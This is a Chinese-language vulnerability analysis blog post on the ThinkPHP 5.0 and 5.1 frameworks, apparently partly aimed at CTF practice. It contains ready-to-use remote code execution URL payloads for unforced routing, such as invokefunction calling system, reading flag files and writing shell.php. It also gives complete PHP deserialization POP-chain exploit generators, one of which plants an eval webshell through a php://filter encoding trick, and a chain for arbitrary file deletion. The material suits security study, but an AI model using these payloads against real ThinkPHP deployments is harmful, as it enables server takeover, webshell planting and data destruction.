tp5漏洞分析

m1xian發表於2024-06-30

tp5

1.tp5.0開始

結構

www  WEB部署目錄(或者子目錄)
├─application           應用目錄
│  ├─common             公共模組目錄(可以更改)
│  ├─module_name        模組目錄(Home:前臺模組;Admin:後臺模組)
│  │  ├─config.php      模組配置檔案
│  │  ├─common.php      模組函式檔案
│  │  ├─controller      控制器目錄
│  │  ├─model           模型目錄
│  │  ├─view            檢視目錄
│  │  └─ ...            更多類庫目錄
│  │
│  ├─command.php        命令列工具配置檔案
│  ├─common.php         公共函式檔案
│  ├─config.php         公共配置檔案
│  ├─route.php          路由配置檔案
│  ├─tags.php           應用行為擴充套件定義檔案
│  └─database.php       資料庫配置檔案
│
├─public                WEB目錄(對外訪問目錄)
│  ├─index.php          入口檔案
│  ├─router.php         快速測試檔案
│  └─.htaccess          用於apache的重寫
│
├─thinkphp              框架系統目錄
│  ├─lang               語言檔案目錄
│  ├─library            框架類庫目錄
│  │  ├─think           Think類庫包目錄
│  │  └─traits          系統Trait目錄
│  │
│  ├─tpl                系統模板目錄
│  ├─base.php           基礎定義檔案
│  ├─console.php        控制檯入口檔案
│  ├─convention.php     框架慣例配置檔案
│  ├─helper.php         助手函式檔案
│  ├─phpunit.xml        phpunit配置檔案
│  └─start.php          框架入口檔案
│
├─extend                擴充套件類庫目錄
├─runtime               應用的執行時目錄(可寫,可定製)
├─vendor                第三方類庫目錄(Composer依賴庫)
├─build.php             自動生成定義檔案(參考)
├─composer.json         composer 定義檔案
├─LICENSE.txt           授權說明檔案
├─README.md             README 檔案
├─think                 命令列入口檔案

url模式

未啟用路由的情況下:

http://localhost/tp5/public/index.php(或者其它應用入口檔案)/模組/控制器/操作/[引數名/引數值...]

支援切換到命令列訪問,如果切換到命令列模式下面的訪問規則是:

php.exe index.php(或者其它應用入口檔案) 模組/控制器/操作/[引數名/引數值...]

可以看到,無論是URL訪問還是命令列訪問,都採用PATH_INFO訪問地址,其中PATH_INFO的分隔符是可以設定的

tp5取消了URL模式的概念,普通模式被移除,但是引數支援

模組/控制器/操作?引數名=引數值&... 

URL大小寫

預設情況下,URL是不區分大小寫的,也就是說 URL裡面的模組/控制器/操作名會自動轉換為小寫,控制器在最後呼叫的時候會轉換為駝峰法處理。

當然也可以在配置檔案中改為區分大小寫

// 關閉URL中控制器和操作名的自動轉換

'url_convert'    =>  false,

路由

一、普通模式

關閉路由,完全使用預設的PATH_INFO方式URL:

'url_route_on'  =>  false,

路由關閉後,不會解析任何路由規則,採用預設的PATH_INFO 模式訪問URL:

http://serverName/index.php/module/controller/action/param/value/...

二、混合模式

開啟路由,並使用路由定義+預設PATH_INFO方式的混合

'url_route_on'  =>  true,
'url_route_must'=>  false,

該方式下面,只需要對需要定義路由規則的訪問地址定義路由規則,其它的仍然按照第一種普通模式的PATH_INFO模式訪問URL。

三、強制模式

開啟路由,並設定必須定義路由才能訪問:

'url_route_on'  		=>  true,
'url_route_must'		=>  true,

如果未開啟強制路由,那麼可能會導致rce

例如定義首頁路由

Route::get('/',function(){
    return 'Hello,world!';
});

2.未開啟強制路由導致RCE命令執行

這裡跟一下invokefunction的paylaod

參考:https://xz.aliyun.com/t/8312

在未開啟強制路由的情況下,使用者可以呼叫任意類的任意方法

兩大版本:

  1. 5.0.0<=ThinkPHP5<=5.0.23
  2. 5.1.0<=ThinkPHP<=5.1.30

分析

image-20240605212347-95hse5f

預設是沒有開啟強制路由的

compose.json改成5.0.22

    "require": {
        "php": ">=5.4.0",
        "topthink/framework": "5.0.22"

然後執行composer update

輸入payload:

http://192.168.117.98:8088/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

直接在入口處下斷點

有用於過濾HTML和PHP標籤的strip_tags函式,漏洞產生與路由排程有關,來看執行路由排程的程式碼:

image-20240612120019-w5agqag

跟進path看看

image-20240612203951-te9ylxe

可以看到$path的值由pathinfo()獲取,所以跟進pathinfo函式

image-20240612204013-4iy9r8o

最後返回的path就是我們?m=xxx傳入的index/\think\Container/invokefunction

回到routeCheck方法

image-20240613142523-95cn8fu

看到這裡判斷是否開啟強制路由,若是開啟了會丟擲錯誤,但是預設是開啟的,所以是存在RCE漏洞的

image-20240613142936-fnb49q1

然後走完routeCheck函式,獲得$dispatch的值

App.php

跟進invokeMethodimage-20240613145418-gpgogil

跟進bindParams

image-20240613145451-wz89kbe

payload

5.0.x

?s=index/think\config/get&name=database.username # 獲取配置資訊
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意檔案
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php檔案
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其他Paylaod:

Request:


?s=index/\think\Request/input&filter=system&data=tac /f*

write寫shell

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
訪問shell.php

display

?s=index/\think\view\driver\Think/display&template=<?php%20system(%27cat%20/fl*%27);?>

__call通殺

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php%20system(%27cat%20/fl*%27);?>

3.tp5.0.X反序列化利用鏈

我用的是5.0.25

漏洞測試程式碼 application/index/controller/Index.php 。

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp5.0.24';
    }
}

首先全域性搜尋__destruct

選擇tp5.0.22/thinkphp/library/think/process/pipes/Windows.php

image-20240606201829-vajqtva

跟進removeFiles()

image-20240606202156-gq9uut3

file_exists呼叫toString方法

全域性搜尋__toString

找到tp5.0.22/thinkphp/library/think/Model.php

image-20240606202401-ldkbebr

到這的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;

abstract class Model{}
class Pivot extends Model
{
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

繼續跟tp5.0.22/thinkphp/library/think/Model.php

的__toString方法

image-20240606202401-ldkbebr

跟進toJson方法

image-20240606213055-mbbcbz2

一直跟到toArray方法

image-20240606213354-4hd93im

嘗試去尋找可控引數並且嘗試進行下一次跳轉

有三處可以呼叫__call方法的地方,都可以成功

選擇第三處

if (!empty($this->append)) {     //1.append不為空
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {   //2.name不為陣列
            // 追加關聯物件屬性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append($name)->toArray();
        } elseif (strpos($name, '.')) {       //3.name裡不包含'.'
            list($key, $attr) = explode('.', $name);
            // 追加關聯物件屬性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append([$attr])->toArray();
        } else {
            $relation = Loader::parseName($name, 1, false);//4.解析name賦值給$relation 
            if (method_exists($this, $relation)) {         //5.自身存在relation方法
                $modelRelation = $this->$relation();   
                $value         = $this->getRelationData($modelRelation);

                if (method_exists($modelRelation, 'getBindAttr')) {//6.moldelRelation類中存在getBindAttr方法
                    $bindAttr = $modelRelation->getBindAttr();
                    if ($bindAttr) {                           //7.$modelRelation->getBindAttr()的返回值為true
                        foreach ($bindAttr as $key => $attr) {
                            $key = is_numeric($key) ? $attr : $key;
                            if (isset($this->data[$key])) {    //8.$this->data[$key]不存在
                                throw new Exception('bind attr has exists:' . $key);
                            } else {
                                $item[$key] = $value ? $value->getAttr($attr) : null;
                            }
                        }
                        continue;
                    }
                }
                $item[$name] = $value;
            } else {
                $item[$name] = $this->getAttr($name);
            }
        }
    }
}

$this->append​我們可控,所以name​就可控,relation​也就可控

主要看第5,6,7個條件if (method_exists($this, $relation))

  1. 該類需要存在relation方法,
  2. 且relation方法的返回值(一個類)需要存在getBindAttr方法
  3. 呼叫getBindAttr的返回值還要為真

所以先找

找一下該類(Model類)的哪一個方法可以返回一個任意的類物件

正則搜尋return \$this->.*

好多都可以

找到getParent()​和getEror()​方法,這兩個比較好利用,這裡選擇getError​繼續進行構造

image-20240607112602-0eriphb

image-20240607112800-ra7u8ut

再往後需要全域性搜尋哪個類有getBindAttr​方法了

image-20240607113507-asy0lkm

只找到一個抽象類OneToOne​,所以找一下哪個類繼承了次類,全域性搜extends OneToOne

找到了HasOne​和BelongsTo​類,二者都可利用,這裡我們使用HasOne​類,所以$moldelRelation​即為HasOne​類的例項

需要呼叫getBindAttr的返回值為真,這裡bindAttr屬性可控,條件8的data預設為空並且也可控

接下來就是看看怎麼給value賦值,跳到__call魔術方法

$value = $this->getRelationData($modelRelation);

進入getRelationData類

image-20240607114537-6ojsocq

  1. 存在parent
  2. !$modelRelation->isSelfRelation()
  3. get_class($modelRelation->getModel()) == get_class($this->parent))

parent可控的,全域性搜一下isSelfRelation()​,在Relation類

image-20240611093835-hyg2orn

這裡的selfRelation我們可控,直接給賦值成false

跟進getModel方法

image-20240611094059-0r7nv25

query可控,繼續跟進

image-20240611094126-zlgbbox

model可控,所以我們看看value需要賦值成哪個類的例項,value=parent,然後再讓model和parent一樣就行了

選擇Output類

image-20240611095452-rfcr4so

編寫一下這部分的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model
{
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $parent;//這裡把parent改成public???
    public function __construct(){
        $this->error = new HasOne();
        $this->parent = new Output();
        $this->append = ['getError'];

    }

}
namespace think\model;
abstract class Relation
{
    protected $selfRelation;

    public function __construct(){
        $this->selfRelation = false;
    }
}


namespace think\console;
class Output{

}
namespace think\model\relation;
use think\model\Relation;


abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

namespace think\model\relation;
class HasOne extends OneToOne
{
}

namespace think\db;

class Query
{
    protected $model;
    public function __construct(){
        $this -> model= new Output();


    }

}

use think\console\Output;
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

這裡有很坑的地方,除錯的時候發現有兩個parent屬性,在後面的判斷中parent被值為null的parent覆蓋

image-20240611104310-gqvwzt0

思考之後在Pivot類中發現在子類Pivot裡有一個public屬性的parent這樣的

image-20240611104355-sehou5o

我們是透過子類的例項想去獲取父類的parent,但是子類本身存在parent屬性,就導致父類的parent屬性被子類的給覆蓋了,把parent改成public就行了,這是改進的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model
{
    protected $append = [];
    protected $data = [];
    protected $error;
    public $parent;//這裡把parent改成public了???
    public function __construct(){
        $this->error = new HasOne();
        $this->parent = new Output();
        $this->append = ['getError'];

    }

}
namespace think\model;
use think\db\Query;
abstract class Relation
{
    protected $selfRelation;
    protected $query;

    public function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();
    }
}


namespace think\console;
class Output{

}
namespace think\model\relation;
use think\model\Relation;


abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

namespace think\model\relation;
class HasOne extends OneToOne

{
    protected $bindAttr = [1];
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this -> model= new Output();


    }

}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));


image-20240611110640-bk4kqc3

成功跳轉到__call ​!!!

這裡styles​可控,賦值成getAttr​進入if

跟進block函式,一直跟進

image-20240611131049-kpthjh9

image-20240611131057-rawlqxp

image-20240611131104-ahzi1qf

handle​可控,看看還有哪些類可以利用write​函式,選擇Memcached​類

image-20240611131429-g0ohj31

這裡handler可控,繼續找還有哪些類能利用set方法,選擇File類的set函式

image-20240611145704-fv8wzcf

目標是利用file_put_contents​來往檔案裡寫馬

先分析一下filename​,跟進getCacheKey​函式

image-20240611150028-g2cndwy

$this->options​可控,就可以控制filename了

再看$data,也就是寫入檔案的內容。

$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
	//資料壓縮
	$data = gzcompress($data, 3);
}
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

使用偽協議配合編碼過濾髒字元來繞過exit

https://xz.aliyun.com/t/7457

convert.iconv.utf-8.utf-7將髒字元過濾

convert.base64-decode保護我們的一句話木馬不被過濾

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
<?php @eval($_POST['ccc']);?> 

將檔案寫到根目錄下

image-20240611160115-cu5zcso

image-20240611160218-gk54cep

但是這裡$data​是$value​序列化後的值,value已被寫死為true,不可控

所以這裡file_put_contents​可以寫檔案,但是內容不可控

看到下set剩下的程式碼

image-20240611153832-cjq18g3

跟進setTagItem​函式

image-20240611153951-je8tdlb

這裡會再次呼叫set函式,並且這裡的$value​可控,這樣寫入的內容我們就可控了

image-20240611170247-a3b557z

可以看到我們成功寫入$value

image-20240611170328-bxj5cnx

$name成功被改寫

image-20240611170932-qi5djsn

靜態目錄下成功寫入檔案,檔案路徑:

http://127.0.0.1/public/a.php3b58a9545013e88c7186db11bb158c44.php

image-20240611170916-m5hvvcg

拿到shell

如果本地沒環境打遠端伺服器的話,我們怎麼獲取檔案路徑呢?

除錯一下看看邏輯

image-20240611173149-88v723v

image-20240611173200-vmwa4ae

前面是第一次寫檔案,我們無法控制內容那次

後面又呼叫一次getCacheKey函式

image-20240611173555-90iftec

這才是我們的後門檔案,這裡key是定值true,所以$key也會是定值tag_c4ca4238a0b923820dcc509a6f75849b

之後進入has函式,會呼叫get函式,然後會再次呼叫getCacheKey​函式

image-20240611174321-ky4hw7b

這裡將定值再進行一次md5,所以得到的filename還是定值3b58a9545013e88c7186db11bb158c44

經過拼接最終filename為

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php

所以最後的檔案路徑就是根目錄下a.php3b58a9545013e88c7186db11bb158c44.php,這是定值

也有寫函式獲取路徑的

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
    protected $tag;
    protected $options=[];
    public function __construct(){
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        echo $pos;
        echo "\n\n";
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";

    }

}

EXP:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model
{
    protected $append = [];
    protected $data = [];
    protected $error;
    public $parent;//這裡把parent改成public了???
    public function __construct(){
        $this->error = new HasOne();
        $this->parent = new Output();
        $this->append = ['getError'];

    }

}
namespace think\model;
use think\db\Query;
abstract class Relation
{
    protected $selfRelation;
    protected $query;

    public function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();
    }
}


namespace think\console;
use think\session\driver\Memcached;
class Output
{
    protected $styles;
    private $handle;

    public function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ['getAttr'];
    }
}
namespace think\model\relation;
use think\model\Relation;


abstract class OneToOne extends Relation
{
}

namespace think\model\relation;
class HasOne extends OneToOne

{
    protected $bindAttr = [1];//只要不為空就行
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this -> model= new Output();


    }

}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
    protected $handler;
    PUBLIC function __construct(){
        $this->handler = new File();
    }
}


namespace think\cache\driver;

class File {

    protected $options = [];
    protected $tag;
    public function __construct()
    {
        $this->options = [
            'prefix' => '',
            'cache_subdir'  => '',
            'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => ''
        ];
        $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

4.tp5.1開始

多了route/route.php

image-20240616205539-jvt10a7

可以在此將/模組/控制器/操作方法​ 的 URL 對映到指定路由

image-20240616211017-7gfdh3o

image-20240616211028-cswgn29

————————————————————————————————————————————————

image-20240616211040-2tlx9i8

5.tp5.1.x反序列化利用鏈

composer create-project topthink/think=5.1.* tp

注意tp5.1版本的根目錄要設定成/public

image-20240616204341-2gh4ho5

通用exp:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["l1_Tuer"=>["123"]];
        $this->data = ["l1_Tuer"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}

use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>

存在一個刪除任意檔案的功能

image-20240617200316-guv5orj

<?php

namespace think\process\pipes;

use think\Process;
class pipes{};

class Windows extends Pipes
{
    private $files = [];


    public function __construct(){
        $this->files = ["C:\\Users\\20778\\Desktop\\1.txt" ];
    }


}
echo urlencode(serialize(new Windows()));

接下來看如何呼叫到__toString方法

將$filename例項化為tostring方法在的類,但是這裡的類是個trait

image-20240617201437-1p75jj6

所以trait是可呼叫方法,所以需要找一下那個類use Conversion

image-20240617201541-39c8vyb

找到了抽象類Model,Pivot extends Model,所以最終使用Pivot類

toString一直跟到toArray方法的關鍵程式碼:

image-20240617201231-avcnkjk

存在append可以進入if,最後的relation可控就可以跳轉到__call方法

需要讓$relation返回值為true,與getRelation方法有關,跟進

相關文章